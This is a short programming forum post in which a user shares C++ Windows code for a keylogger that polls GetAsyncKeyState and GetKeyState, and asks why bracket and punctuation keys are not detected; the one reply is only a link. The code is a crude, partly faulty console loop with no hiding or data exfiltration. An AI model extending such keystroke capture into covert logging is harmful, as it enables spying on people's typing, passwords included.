KeyLogger detection of keys [ { } ] etc

[programmerx]

i've detected each key while using the following two functions:
GetAsyncKeyState()
GetKeyState()
but I am unable to detect the following some keys:
[]\;',./

#include<iostream>
#include<windows.h>
#include<winuser.h>
#include<cctype>
using namespace std;
int main()
{
    char i;
    while(1)
    {
        for(i=8 ; i <= 190 ;i++)
        {
            if(GetAsyncKeyState(i) == -32767)
            {
                    if(GetKeyState(i) == GetKeyState(0xDB)) /* OxDB is the code for [{(both)*/
                    {
                        cout<<"[";
                    }
                    else
                    {
                        cout<<"not pressed";
                    }
            }
        }
    }
    return 0;

}

[LB]

http://ideone.com/1kqAL6